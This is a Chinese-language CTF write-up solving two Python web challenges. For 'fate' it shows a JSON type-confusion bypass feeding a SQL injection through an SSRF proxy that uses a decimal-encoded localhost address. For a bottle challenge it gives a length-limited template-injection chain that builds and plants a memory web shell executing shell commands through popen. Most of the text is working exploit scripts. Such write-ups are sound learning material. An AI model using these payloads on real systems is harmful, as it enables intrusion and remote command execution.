      Caused by NameResolutionError(&#34;&lt;urllib3.connection.HTTPConnection object at 0x000001DF80D529A0&gt;: Failed to resolve &#39;2130706433&#39; ([Errno 11001] getaddrinfo failed)&#34;)

    经过一番探索发现是端口的问题,哭死,最后总是打不通还是起docker好点

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
     # docker-compose.yml
    version: '3'
    services:
    fate:
    build: .
    ports:
    - "8020:8080"
    environment:
    - UWSGI_INI=/app/uwsgi.ini
    - LISTEN_PORT=8080
    restart: unless-stopped
  3. Step2: 这里还有一个必须过的坎是len(name) > 6

    1. json.loads根据提示是没有Pickle.loads这种可以直接rce的漏洞的,pass –> 此时并非说他没用,在这里也被误导了55,总之要团结一切可能的朋友
    2. 还有一种可能是解析问题,len让我们联想到数组,元组,列表和字典,都可以试一下,毕竟下面还有隐藏的waf🥹 <– 这里能这么做的根本原因是没有对name进行类型判断就插入
    3. 自己测试一下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    # len_skip.py 测试的路由
    import flask
    import json

    app = flask.Flask(__name__)

    def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
    raise ValueError("Binary string length must be a multiple of 8")
    binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

    return string_output

    @app.route('/1337', methods=['GET'])
    def api_search():
    req = flask.request.args.get('1')
    try:
    req = binary_to_string(req)
    print(req)
    req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
    except:
    flask.abort(400, "Invalid JSON")
    if 'name' not in req:
    flask.abort(400, "Empty Person's name")

    name = req['name']
    if len(name) > 6:
    flask.abort(400, "Too long")
    if '\'' in name:
    flask.abort(400, "NO '")
    if ')' in name:
    flask.abort(400, "NO )")
    """
    Some waf hidden here ;) --> 元组和列表,这里用字典试一下
    """
    return f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{name}')))))))"

    if __name__ == '__main__':
    app.run(debug=True)

    # json_load_test.py --> SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --": 'placeholder'}'))))))) 成功绕过
    import requests
    import json

    def json2bin(json_input):
    json_string = json.dumps(json_input)
    binary_string = ''.join(format(ord(char), '08b') for char in json_string)
    return binary_string

    def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
    raise ValueError("Binary string length must be a multiple of 8")
    binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
    return string_output

    json_data = {
    # 'name': ('abc', 'ddd')
    # 'name': ("abc", "ddd") # tuple都是使用'
    # 'name': ["abc", "ddd"] # list都是使用'
    # 'name': {"abc": "ddd"} # dict也是使用'
    'name': {'\'))))))) union select fate from fatetable where name=\'lamentxu\' --': "placeholder"}
    # 'name': {'\'hello': 1} # 内部有'就会用",可以构造如上
    }

    json_bin = json2bin(json_data)
    print(json_bin)
    print(len(json.loads(binary_to_string(json_bin))))
    print(json.loads(binary_to_string(json_bin)))

    host="http://localhost:5000"
    req = requests.get(host+"/1337?1="+ json_bin)
    print(req.text)
  4. 最终payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    import requests
    import json

    host="target"
    bp = {
    "http": "http://localhost:8080",
    }

    session = requests.Session()

    def json2bin(json_input):
    json_string = json.dumps(json_input)
    binary_string = ''.join(format(ord(char), '08b') for char in json_string)
    return binary_string

    # proxy
    path_proxy = "/proxy"
    json_data = {
    'name': {'\'))))))) union select fate from fatetable where name=\'LAMENTXU\' --': "placeholder"}
    }


    params_proxy = {
    "url": f"@2130706433:8080/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39%261={json2bin(json_data)}",
    # "url": f"@0/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39&1={json2bin(json_data)}",
    # "url": f"@[::1]/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39&1={json2bin(json_data)}",

    # localhost test: 本地无法解析
    # "url": f"@2130706433:5000/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39&1={json2bin(json_data)}",
    # "url": f"@[::]:5000/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39&1={json2bin(json_data)}",
    # "url": f"@[::1]:5000/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39&1={json2bin(json_data)}", # ipv6格式
    }
    print(params_proxy['url']) # 拿到bp里更好,request会进行url编码

    r = session.get(host+path_proxy, params=params_proxy, proxies=bp)
    print(r.text)

fate 总结

  • 参数解析问题
  • 参数检验与转换
  • 本地与远程调试和版本问题

出题人已疯 | 复现 | SV

出题人已疯 | 过程

  1. 先看源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    # -*- encoding: utf-8 -*-
    '''
    @File : app.py
    @Time : 2025/03/29 15:52:17
    @Author : LamentXU
    '''
    import bottle
    '''
    flag in /flag
    '''
    @bottle.route('/')
    def index():
    return 'Hello, World!'
    @bottle.route('/attack')
    def attack():
    payload = bottle.request.query.get('payload')
    if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
    return bottle.template('hello '+payload)
    else:
    bottle.abort(400, 'Invalid payload')
    if __name__ == '__main__':
    bottle.run(host='0.0.0.0', port=5000)
  2. 不禁想到vnctf25的学生管理系统,要先理解bottle啊emm

    1. 这里可以数组绕过len吗?bottle的get似乎有考虑到这个问题,被墙壁了,只取最后的,而且字符数也算 –> 只能老老实实绕过了

    2. 其实最重要的是上下文,如果限制死字数无法突破上下文的话几乎无法,跟进看一下执行的过程(在出题人又疯那题里有),oh?使用compile+exec来在当前进程中执行命令

    3. 那就上手试一下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      import requests

      host="http://localhost:5000"
      bp = {
      "http": "http://localhost:8080",
      }

      session = requests.Session()
      path_attack="/attack"
      params_attack={
      # 尝试数组绕过: failed
      # "payload": {"0000":1, "1":2, "22222":3}

      # compile+exec的全局绕过: global failed,无法传递,未知原因
      # "payload": "\n% global a"
      # "payload": "\n% a=__import__"
      # "payload": "\n% global b"
      # "payload": "\n% b=a('os')" # 报错

      # compile+exec的全局绕过: list, dict failed 不可变
      # "payload": "\n% list.extend.a=__import__"
      # "payload": "\n% list.a=__import__"

      # compile+exec的全局绕过: 寻找可变类,os
      # "payload": "\n% import os;os.a='ls /'"
      # "payload": "\n% import os;os.b=print"
      # "payload": "\n% import os;"
      # "payload": "\n% import os;print(os.a)"
      "payload": "\n% import os;print(os.b)"
      }
      print(len(params_attack['payload']))
      r = session.get(host+path_attack, params=params_attack)
      print(r.text) # 本地开看debug
    4. 事情到了这里基本来到了关键的一步

      1. 困局: 直接os.a=system不行,报错,popen也不行
      2. 破局1: 但是print,eval这些原生函数可以
      3. 困局: 25个字符,使用os来的话至少有\n% import os;os.x=这几个字符,只有几个字符的构造空间
      4. 破局2: 字符是可以拼接的+=+=,system有错误,那我们可以在eval一遍,还能打内存马这些,空间更大了
      5. 最终payload
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      import requests

      host="http://localhost:5000"
      bp = {
      "http": "http://localhost:8080",
      }

      session = requests.Session()
      path_attack="/attack"

      # eval, print, b准备
      params_attack={
      "payload": "\n% import os;os.a=eval"
      }
      r = session.get(host+path_attack, params=params_attack)
      params_attack={
      "payload": "\n% import os;os.t=print"
      }
      r = session.get(host+path_attack, params=params_attack)
      params_attack={
      "payload": "\n% import os;os.b=''"
      }
      r = session.get(host+path_attack, params=params_attack)

      # +=构造payload字符串
      payload='''__import__("bottle").app().route("/kc1zs4","GET",lambda :__import__("os").popen(request.params.get("cmd")).read())''' # request会报错来着,emm,为什么signing就可以呢
      # payload='''os.system("cat /flag > kc1")'''
      payload_list = [payload[i:i+3] for i in range(0, len(payload), 3)] # 将payload每3个字符分为一组,分别取出来
      print(payload_list)
      print(len(payload_list))

      for i in range(len(payload_list)):
      params_attack={
      "payload": f"\n% import os;os.b+='{payload_list[i]}'"
      }
      r = session.get(host+path_attack, params=params_attack)

      # 测试字符串拼接
      params_attack={
      "payload": "\n% import os;os.t(os.b)"
      }
      r = session.get(host+path_attack, params=params_attack)

      # 触发命令
      params_attack={
      "payload": "\n% import os;os.a(os.b)"
      }
      r = session.get(host+path_attack, params=params_attack)

      # 文件读回显
      params_attack={
      "payload": "\n% include('kc1')"
      }
      r = session.get(host+path_attack, params=params_attack)
      print(r.text)

ref

  1. 出题人的[https://www.cnblogs.com/LAMENTXU/articles/18730353]
  2. github仓库地址[]